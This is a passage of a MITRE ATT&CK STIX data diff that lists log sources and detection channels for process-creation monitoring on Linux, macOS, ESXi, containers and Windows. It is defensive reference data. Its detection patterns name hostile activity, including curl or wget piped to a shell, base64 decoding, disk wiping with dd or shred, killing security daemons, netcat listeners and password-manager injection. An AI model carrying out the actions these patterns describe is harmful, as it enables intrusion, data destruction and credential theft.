"macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath CONTAINS \"curl\" OR \"osascript\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, wipe targeting block devices" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of sleep or ping command within script interpreted by bash/python" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls from processes using crypto libraries" + }, + { + "name": "macos:unifiedlog", + "channel": "Process using AES/RC4 routines unexpectedly" + }, + { + "name": "linux:osquery", + "channel": "execution of known firewall binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime" + }, + { + "name": "linux:osquery", + "channel": "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: binary == \"/usr/sbin/systemsetup\" and args contains \"-gettimezone\"" + }, + { + "name": "macos:osquery", + "channel": "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of osascript, curl, or unexpected automation" + }, + { + "name": "macos:unifiedlog", + "channel": "exec /usr/bin/pwpolicy" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw." + }, + { + "name": "linux:syslog", + "channel": "KERN messages about eBPF program load/verify or LSM denials related to bpf." + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations." + }, + { + "name": "macos:unifiedlog", + "channel": "Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters." + }, + { + "name": "auditd:EXECVE", + "channel": "/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of known flash tools (e.g., flashrom, fwupd)" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.firmwareupdater activity or update-firmware binary invoked" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API" + }, + { + "name": "macos:endpointSecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)" + }, + { + "name": "macos:osquery", + "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)" + }, + { + "name": "macos:unifiedlog", + "channel": "process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary" + }, + { + "name": "auditd:EXECVE", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "process:launch" + }, + { + "name": "auditd:EXECVE", + "channel": "Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\"" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of scp, rsync, curl with remote destination" + }, + { + "name": "macos:unifiedlog", + "channel": "logMessage contains pbpaste or osascript" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch of diskutil or system_profiler with SPStorageDataType" + }, + { + "name": "esxi:hostd", + "channel": "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'" + }, + { + "name": "macos:unifiedlog", + "channel": "Mail.app executing with parameters updating rules state" + }, + { + "name": "esxi:shell", + "channel": "/var/log/vmkernel.log, /var/log/vmkwarning.log" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera" + }, + { + "name": "kubernetes:apiserver", + "channel": "exec into pod followed by secret retrieval via API" + }, + { + "name": "macos:unifiedlog", + "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")" + }, + { + "name": "macos:unifiedlog", + "channel": "exec srm|exec openssl|exec gpg" + }, + { + "name": "linux:osquery", + "channel": "Process execution with LD_PRELOAD or modified library path" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "linux:Sysmon", + "channel": "process creation events linked to container namespaces executing host-level binaries" + }, + { + "name": "WinEventlog:Security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "process and signing chain events" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices events for misleading extensions" + }, + { + "name": "fs:fsusage", + "channel": "Execution of disguised binaries" + }, + { + "name": "linux:osquery", + "channel": "process listening or connecting on non-standard ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd services binding to non-standard ports" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, connect" + }, + { + "name": "esxi:cron", + "channel": "process or cron activity" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with unsigned or anomalously signed certificates" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve logging for /usr/bin/systemctl and systemd-run" + }, + { + "name": "macos:osquery", + "channel": "Invocation of osascript or dylib injection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of files saved in mail or download directories" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview" + }, + { + "name": "macos:unifiedlog", + "channel": "process events" + }, + { + "name": "linux:syslog", + "channel": "Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of CLI tools like psql, mysql, mongo, sqlite3" + }, + { + "name": "macos:unifiedlog", + "channel": "Process start of Java or native DB client tools" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or tccd-related entries" + }, + { + "name": "macos:osquery", + "channel": "query: process_events, launchd, and tcc.db access" + }, + { + "name": "ebpf:syscalls", + "channel": "process execution or network connect from just-created container PID namespace" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of pip, npm, gem, or similar package managers" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line invocation of pip3, brew install, npm install from interactive Terminal" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/exec of service via PID 1 (systemd)" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of ssh/scp/sftp without corresponding authentication log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ssh or sftp without corresponding login event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of remote desktop app or helper binary" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes making network calls based on DNS-derived ports" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl spawning new processes" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl activity and process creation" + }, + { + "name": "containerd:events", + "channel": "New container with suspicious image name or high resource usage" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries" + }, + { + "name": "linux:osquery", + "channel": "Processes linked with libssl or crypto libraries making outbound connections" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SSL routines from Security framework" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of binaries located in /etc/init.d/ or systemd service paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binary listed in newly modified LaunchAgent plist" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of bless or nvram modifying boot parameters" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected processes registered with launchd" + }, + { + "name": "macos:unifiedlog", + "channel": "Process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, osascript, or unexpected Office processes" + }, + { + "name": "macos:osquery", + "channel": "exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Trust validation failures or bypass attempts during notarization and code signing checks" + }, + { + "name": "esxi:vmkernel", + "channel": "spawned shell or execution environment activity" + }, + { + "name": "macos:unifiedlog", + "channel": "process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd/sgdisk with arguments writing to sector 0 or partition table" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets" + }, + { + "name": "m365:defender", + "channel": "AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)" + }, + { + "name": "macos:unifiedlog", + "channel": "execve or dylib load from memory without backing file" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw)." + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers." + }, + { + "name": "esxi:shell", + "channel": "Shell Execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual child process tree indicating attempted recovery after crash" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of binaries/scripts presenting false health messages for security daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes mimicking Apple Security & Privacy GUIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Auditing", + "channel": "EventCode=4688" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, setifflags" + }, + { + "name": "macos:osquery", + "channel": "process_events where path like '%tcpdump%'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, or wipe with arguments targeting block devices" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, git, or Office processes with network connections" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - process subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution for VBoxHeadless, prl_vm_app, vmware-vmx" + }, + { + "name": "macos:unifiedlog", + "channel": "process logs" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets" + }, + { + "name": "macos:unifiedlog", + "channel": "command line or log output shows non-standard encoding routines" + }, + { + "name": "esxi:shell", + "channel": "commands containing long non-standard tokens or custom lookup tables" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc." + }, + { + "name": "macos:unifiedlog", + "channel": "execve: Helper tools invoked through XPC executing unexpected binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of modified binary without valid signature" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'" + }, + { + "name": "macos:unifiedlog", + "channel": "process created with repeated ICMP or UDP flood behavior" + }, + { + "name": "fs:fsusage", + "channel": "binary execution of security_authtrampoline" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec" + }, + { + "name": "esxi:vmkernel", + "channel": "Exec" + }, + { + "name": "macos:unifiedlog", + "channel": "Child processes of Safari, Chrome, or Firefox executing scripting interpreters" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of older or non-standard interpreters" + }, + { + "name": "linux:osquery", + "channel": "process execution events for permission modification utilities with command-line analysis" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for chmod, chown, chflags with parameter analysis and target path examination" + }, + { + "name": "macos:osquery", + "channel": "process execution monitoring for permission modification utilities with command-line argument analysis" + }, + { + "name": "auditd:SYSCALL", + "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs" + }, + { + "name": "macos:osquery", + "channel": "Execution of flooding tools or compiled packet generators" + }, + { + "name": "esxi:hostd", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve for proxy tools" + }, + { + "name": "macos:unifiedlog", + "channel": "process, socket, and DNS logs" + }, + { + "name": "macos:osquery", + "channel": "process_events table" + }, + { + "name": "macos:unifiedlog", + "channel": "Command line containing `trap` or `echo 'trap` written to login shell files" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect --predicate" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or nanosleep with no stdout/stderr I/O" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or osascript spawns process with delay command" + }, + { + "name": "linux:syslog", + "channel": "systemd-udevd spawning user-defined action from RUN+=" + }, + { + "name": "ebpf:syscalls", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "process:spawn" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"exec\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "cat|less|grep accessing .bash_history from a non-shell process" + }, + { + "name": "auditd:EXECVE", + "channel": "Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg, rpm, or other package manager with list flag" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of system_profiler or osascript invoking enumeration" + }, + { + "name": "auditd:SYSCALL", + "channel": "apache2 or nginx spawning sh, bash, or python interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "httpd spawning bash, zsh, python, or osascript" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security or osascript" + }, + { + "name": "WinEventLog:security", + "channel": "EventCode=4688" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd spawning processes tied to new or modified LaunchDaemon .plist entries" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of commands modifying iptables/nftables to block selective IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "System process modifications altering DNS/proxy settings" + }, + { + "name": "containerd:Events", + "channel": "unusual process spawned from container image context" + }, + { + "name": "macos:osquery", + "channel": "curl, python scripts, rsync with internal share URLs" + }, + { + "name": "macos:unifiedlog", + "channel": "process: spawn, exec" + }, + { + "name": "macos:osquery", + "channel": "Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps performing repeated DNS lookups" + }, + { + "name": "macos:unifiedlog", + "channel": "launchservices or loginwindow events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with LD_PRELOAD or linker-related environment variables set" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "name": "macos:unifiedlog", + "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of re-parented process" + }, + { + "name": "linux:osquery", + "channel": "Anomalous parent PID change" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation with parent PID of 1 (launchd)" + }, + { + "name": "linux:osquery", + "channel": "child process invoking dynamic linker post-ptrace" + }, + { + "name": "macos:osquery", + "channel": "Processes executing kextload, spctl, or modifying kernel extension directories" + }, + { + "name": "macos:osquery", + "channel": "Unsigned or ad-hoc signed process executions in user contexts" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of diskutil or hdiutil attaching hidden partitions" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis" + }, + { + "name": "macos:osquery", + "channel": "process event monitoring with focus on discovery utilities and cryptographic framework usage correlation" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected apps generating frequent DNS queries" + }, + { + "name": "macos:unifiedlog", + "channel": "process exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "socket: Suspicious creation of AF_UNIX sockets outside expected daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "Non-standard processes invoking financial applications or payment APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells" + }, + { + "name": "auditd:SYSCALL", + "channel": "systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system" + }, + { + "name": "macos:unifiedlog", + "channel": "Process exec of remote-control apps or binaries with headless/connect flags" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl unload, kill, or removal of security agent daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "process activity, exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream process subsystem" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec and kext load events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'" + }, + { + "name": "WinEventLog:Microsoft-Windows-DotNETRuntime", + "channel": "Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior" + }, + { + "name": "auditd:SYSCALL", + "channel": "Execution of network stress tools or anomalies in socket/syscall behavior" + }, + { + "name": "macos:unifiedlog", + "channel": "Unsigned binary execution following SIP change" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "EventCode=8003,8004" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, unlink" + }, + { + "name": "macos:osquery", + "channel": "launchd, processes" + }, + { + "name": "linux:osquery", + "channel": "socat, ssh, or nc processes opening unexpected ports" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution of ssh with -L/-R forwarding flags" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd or cron spawning mining binaries" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls for processes using RSA handshake" + }, + { + "name": "macos:unifiedlog", + "channel": "Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs" + }, + { + "name": "azure:vmguest", + "channel": "Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution" + }, + { + "name": "macos:unifiedlog", + "channel": "Script interpreter invoked by nginx/apache worker process" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of Office binaries with network activity" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of bash/zsh/python/osascript targeting key file locations" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of /sbin/emond with child processes launched" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete" + }, + { + "name": "macos:unifiedlog", + "channel": "shutdown -h now or reboot" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis" + }, + { + "name": "OpenBSM:AuditTrail", + "channel": "BSM audit events for process execution and system call monitoring during reconnaissance" + }, + { + "name": "esxi:hostd", + "channel": "host daemon events related to VM operations and configuration queries during reconnaissance" + }, + { + "name": "esxi:vmkernel", + "channel": "VMware kernel events for hardware and system configuration access during environmental validation" + }, + { + "name": "linux:osquery", + "channel": "processes modifying environment variables related to history logging" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of curl, rclone, or Office apps invoking network sessions" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of kextstat, kextfind, or ioreg targeting driver information" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec events" + }, + { + "name": "macos:unifiedlog", + "channel": "Process creation involving binaries interacting with resource fork data" + }, + { + "name": "macos:unifiedlog", + "channel": "process event" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of suspicious exploit binaries targeting security daemons" + }, + { + "name": "macos:osquery", + "channel": "execve: Unsigned or unnotarized processes launched with high privileges" + }, + { + "name": "macos:unifiedlog", + "channel": "security OR injection attempts into 1Password OR LastPass" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0032\", \"external_id\": \"DC0032\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream 'eventMessage contains pubsub or broker'\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"linux:osquery\", \"channel\": \"Execution of binary resolved from $PATH not located in /usr/bin or /bin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution path inconsistent with baseline PATH directories\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl with suspicious arguments\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve network tools\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls to soffice.bin with suspicious macro execution flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts\"}, {\"name\": \"macos:osquery\", \"channel\": \"process reading browser configuration paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec logs\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec: Process execution context for loaders calling dlopen/dlsym\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"EXECVE\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"execution of unexpected binaries during user shell startup\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of Terminal.app or shell with non-standard environment setup\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of systemctl or service stop\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of launchctl or pkill\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process::exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of non-standard binaries accessing Kerberos APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Electron-based binary spawning shell or script interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Electron app spawning unexpected child process\"}, {\"name\": \"esxi:shell\", \"channel\": \"/root/.ash_history or /etc/init.d/*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls with high-frequency or known bandwidth-intensive tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec or spawn calls to proxy tools or torrent clients\"}, {\"name\": \"containers:osquery\", \"channel\": \"bandwidth-intensive command execution from within a container namespace\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'subsystem == \\\"com.apple.cfprefsd\\\"'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security, sqlite3, or unauthorized binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected applications generating outbound DNS queries\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=1\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected child process of Safari or Chrome\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process writes or modifies files in excluded paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.mail.* exec.*\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of memory inspection tools (lldb, gdb, osqueryi)\"}, {\"name\": \"esxi:vobd\", \"channel\": \"/var/log/vobd.log\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"kubectl exec or kubelet API calls targeting running pods\"}, {\"name\": \"docker:audit\", \"channel\": \"Process execution events within container namespace context\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"process persists beyond parent shell termination\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"background process persists beyond user logout\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process execution across cloud VM\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl spawning managed processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"esxi:shell\", \"channel\": \"/var/log/shell.log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec events where web process starts a shell/tooling\"}, {\"name\": \"docker:events\", \"channel\": \"Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of osascript, bash, curl with suspicious parameters\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells 